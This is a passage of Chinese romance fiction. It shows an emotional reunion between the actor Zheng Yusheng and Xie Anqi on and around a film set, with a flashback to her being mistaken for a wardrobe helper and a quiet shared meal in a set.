等到晚上收工，片场人渐渐散去，谢安琪站在摄影棚外的小巷，脚步迟迟没有挪动。郑禹胜从后面走来，脚步轻得几乎没有声响，停在她背后。
“为什么要来？”他声音低哑，带着难以抑制的情绪。
谢安琪没有回头，只是轻轻抖着肩膀，声音哑到几乎听不见：“想看看你工作的样子。”
“你……”他顿了一下，呼吸急促，像是在克制。
“我知道，你会成为很多人看见的人。”她接着说，抬起头，望向夜色中泛着微光的天空。
“但我还是想偷偷来看。”她缓缓回头，眼泪挂在睫毛上，声音轻得像夜风。
郑禹胜愣住，眼底一片晦暗，像是被什么击中。郑禹胜站在谢安琪面前，夜风从侧巷吹过，把他衣角吹得微微晃动。
“你不该来的。”他低声说，声音哑得像夜里未燃尽的火星。
“我只是想看看你。”她小声说，眼睛发红，手指紧紧捏着。
“我不需要你看见这种样子。”他说，语气里带着倔强和酸涩，像是怕被她拆穿。
“为什么不能？”她抬头看他，声音颤着，“你总是躲着我，总是想把我隔在你的世界外面。”
郑禹胜咬着牙，脸上写满克制，喉结缓慢上下滚动。
“我只是……不想让你觉得我在变远。”他说。
谢安琪愣住，呼吸顿了一下，心底涌上难以言说的疼。
“我不会觉得你远。”她走近一步，轻声说，“就算你再远，我也会一直看见你。”
郑禹胜看着她，终于抬起手，颤抖着轻轻抓住她的肩。
“我怕你再走。”他声音低得几乎听不见。
“我也怕。”谢安琪抬起手，缓缓覆在他手背上，声音像风，“可是你知道的，我再怎么走，最后也还是会遇见你。如果你会找到我，我就会决定跟你一起走。”
那句话刚落下，他忽然用力把她拉进怀里，力道大到让她险些踉跄。谢安琪愣了两秒，才慢慢伸手环住他后背，脸埋进他胸口，感受到他心跳的凌乱和真实。
“别再走……”他埋在她发间低声重复，像是对一场梦的呼喊。
“嗯，不走。”她轻声应，声音带着哭腔，却无比坚定。
不远处的临时棚里，还有一瓶未喝完的水，微微透着灯光。郑禹胜松开她，拉着她走到那边，递过那瓶水。
“你今天在片场被人喊去帮忙，我看到了。”他顿了顿，声音闷，“我不喜欢别人喊你做那些事。”
谢安琪接过水，垂下眼，看着瓶子里的水波晃动。
“那是我自己的选择。”她轻轻说，指尖缓慢摩挲瓶身，“因为那一刻，我离你很近，哪怕是错的方式。”
他看着她，目光里藏着一层水光，却没有再说话，她抬头，轻轻笑，眼尾还挂着泪。
“你不会懂，我宁愿站在最远的地方，拿水给别人，也要偷偷看你一眼。”说，谢安琪声音很轻，却清晰地敲进夜色里。
他缓慢走上前，指尖轻轻碰了碰她的脸颊，像是确认她真实存在。
“以后，不许再这样。”他低声说。
“好。”谢安琪看着他，眼神温柔得要化开。
“我不需要你躲在一边偷偷看。”他继续说，声音沉着，却透着颤抖，“我只要你在我身边。”
“那以后都在。”她含着笑，语气里像藏了一整个夏夜的风。他说不出更多，只是再次低头，把嘴唇轻轻落在她额头。那一下，很轻，却带着小小的颤抖，像是把所有没有说出口的承诺，都封在这个触碰里。
这会是拍完戏就各回各家，谢安琪一直牵着他的衣摆，步子很慢。他也没有催，只是时不时回头，确认她还跟在身后。
到屋塔房楼下时，她停下，抬头看着星空。
“今天的星星，比昨天还多。”谢安琪轻声说。
“因为你在看。”他回。
她笑了，眼睛里全是亮光，转身看他。
“我不会再跑去片场了。”她说，声音坚定又柔软，“以后，我会一直在屋塔房等你。”
郑禹胜盯着她看了几秒，慢慢伸出手，把她拉到自己胸口。
“好，以后，我收工后第一眼就要看见你。”谢安琪点头，把脸埋进他胸前，呼吸被夜风卷着，慢慢变得平静。
屋顶那盏留给谢安琪的灯，隔着夜色静静发光，像在为他们照一条不会走失的路。看着身边的郑禹胜，谢安琪忍不住回忆起她看到的拍摄，片场灯光很亮，聚光灯将场地照得像白昼，谢安琪站在远处，看着郑禹胜在布景中央反复排练一场重要的情绪戏。
他先是安静地坐着，导演喊“准备”时，他忽然抬头，眼神凌厉，像是一瞬间切换到另一个世界。
他从安静到爆发，用力摔掉手里的道具，整个人几乎要崩溃。即便喊“卡”后，他依旧蹲在地上，肩膀微微颤抖，像是一只受伤却依旧坚持的野兽。
谢安琪看着他，指尖缓缓收紧，心底泛起强烈的酸意。
“你真的……越来越远了啊。”在心里默默说。
可即使这样，她还是忍不住想离他更近一点，再近一点。抱着这样的心思，谢安琪后来再去找他的时候，可能是因为脸熟，那天休息时，谢安琪走到布景后面，原本想找个地方坐一会儿，结果被服装助理误以为是帮工，拉进服装间。
“喂，帮我把那件外套递过去！”助理急忙喊道。
她愣了一秒，下意识接过衣架，跌跌撞撞地走过去。
“不是那件，另一件！”助理皱着眉，手指飞快指向另一排。
她慌乱中差点被挂在一旁的假发绊倒，差点把整排服装扯下来，发出一阵响声。正在这时，郑禹胜从走廊经过，刚好看见这幕，整个人瞬间停住，脸色一下冷了下来。
助理还在催促，谢安琪连忙把外套递过去，脸红到脖子根，慌张地退到墙边。郑禹胜走进服装间，目光落在她身上，先是一瞬间的错愕，随即变得锐利。
“你在干什么？”他声音低沉，像是压着一场雷暴。
助理吓了一跳，连忙解释：“我以为她是来帮忙的，今天人手不够……”
“以后，不许叫她做任何事。”他说，语气冰冷，每个字都清晰得像刀刃。
助理连连点头，不敢再说话，仓皇地把衣服抱走。
谢安琪看着他，嘴唇动了动，却一句话也没说出来。
郑禹胜转身走到她面前，伸手抓住她的手腕，指尖用力到有些发白。
“跟我来。”他低声说，眼神里翻涌着克制和不安。
他拉着她走到空旷的走廊，停下后松开她，呼吸急促，背对着她站了很久。她看着他背影，胸口涨得发疼，像是有一块石头压着，让她无法呼吸。
“对不起……”她开口，声音颤抖。
“为什么总是跑到我看不见的地方？”他忽然转过身，声音嘶哑，眼神里带着近乎孩子气的委屈。
“我只是想靠近你，想看你……”她哽咽着，“哪怕只是远远地……”
“我不需要你远远地看。”他打断她，脚步朝她逼近，“我只要你站在我旁边。”
谢安琪被他逼到墙边，后背贴着冰冷的墙面，手无处可放，泪水却滑了下来。他抬手，轻轻擦掉她的泪，动作轻得像羽毛。
“不要再躲，不要再偷看。”他低声说，“我让你看，就看我最真实的样子。”
她看着他，眼睛发红，手缓慢地抓住他胸口的布料，点了点头。片场安静下来，只剩下后巷那盏昏黄的灯。
郑禹胜拉着谢安琪的手，走到灯下，停住脚步。
“以后，不许再一个人跑来，不许再把自己藏在人群里。”他说，声音很轻，但坚定。
“好。”谢安琪低声答，眼神发亮，像夜里的水光。
“还有……”他靠近一步，额头抵在她的额头上，“以后，不许再偷偷哭。”
“那你也不许。”她回，声音微颤，手抬起来，小心地贴在他脸侧，郑禹胜愣了一瞬，随即露出一抹浅浅的笑，眼里雾气翻涌，像是刚刚破碎又拼回去的夜空。
他低头吻住她，动作缓慢，却带着深到无法退路的决绝。谢安琪闭着眼，泪水在睫毛上颤抖，却把所有害怕和思念都融进这个吻里。风吹过走廊，带走外面的喧嚣，只剩下彼此的呼吸声，像夜里反复回荡的誓言。
收工后，片场空荡荡的，灯光只留几盏小小的应急灯，把走廊和布景照得模糊，像未完工的梦。
谢安琪跟着郑禹胜走进一个旧屋布景里，墙壁贴着泛黄的壁纸，桌上还有一盏被遗忘的台灯，发出微弱的光。郑禹胜把便当盒放到道具桌上，随意找了两把椅子，两人面对面坐下。
“今天很辛苦吧？”她低声问，目光落在他被灯光打亮的侧脸。
“比不上你乱跑更让我累。”他回答，语气依旧闷，却带着浅浅的笑意。谢安琪被他的话噎住，随即低下头笑了，肩膀轻轻抖着。
“我以后会乖乖等你收工，不再偷跑。”她抬起头，眼里微微湿润，却笑得温柔。郑禹胜把便当推到她面前，用筷子夹了一块鸡蛋，递到她嘴边。
“吃吧，别只顾着说话。”他说，语气有点像在屋塔房时一样别扭而照顾，她张口咬下去，嚼了几口，笑着说：“味道比我煮的好多了。”
“我信不过你的手艺。”他小声回，眼神里带着一闪而过的柔软，谢安琪停下筷子，忽然轻声说：“等以后我们有自己的小屋，我想给你做很多很多顿饭，不管难吃还是好吃，都要让你吃完。”
他盯着她看了很久，才慢慢点了点头。
“好，都吃。”他说，声音低到只够她听见。谢安琪拿出随身的小本子，撕下一页，递给他。
“写一件以后想跟我一起做的事。”她说，目光亮亮的，像藏着满月。他接过纸，拿着笔，沉默了很久，最后只写了简短的几个字。
"一直一起吃饭。"她接过来看了，看了一会儿，忽然笑出声，眼角慢慢泛红。
“只有这个吗？”谢安琪问。
“嗯。”他看着她，眼神坚定，“这样就够了。”
她把那张纸小心折好，放进本子夹层，动作很慢，像是要把这份承诺一点点存进心底。两人吃完便当，屋外的风吹进来，带着夜里草木的味道。
他脱下外套披在她肩上，自己只穿着单薄的衬衫，呼吸被凉风带得有些急促。
“你会冷啊。”她轻轻拽着外套，皱着眉。
“你比我怕冷。”他说，伸手捏了捏她的指尖，冰凉，却被他慢慢握热。
她抬起头，看见他喉结上下滚动，眼神藏着微光。
“以后，每年冬天都一起吃热汤吧。”她小声说，像是说给风听，也像是给月亮许愿。
“好。”他轻轻回答，指尖缓慢摩挲她的手背，“无论在哪条线，都一起吃。”
她“嗯”了一声，声音软得像要消失，却带着不容推翻的坚定。临走前，她忽然停住，转过身看向还亮着的道具台灯，深吸了一口气。
“如果有一天，我不在了……你会怎么办？”她轻声问，眼里盛着水光。
郑禹胜一愣，随即走过去，一把把她搂进怀里。
“我会等你。”他说，声音低哑，像是夜里最后一缕风。
谢安琪抬头，看着他，泪水慢慢滚落，却笑着伸手抚过他的侧脸。
“那我就会一直回来找你。”她说，语气柔软，却带着无法动摇的力量。
他低头，再一次吻住她，这次比任何一次都要长，带着所有未出口的答案与重逢的誓言。风从半开的门缝吹进来，把屋里的台灯光晃得一阵一阵，像在为他们轻轻颤抖。那一刻，时间安静得像梦，而他们终于紧紧地，完整地，抓住了彼此。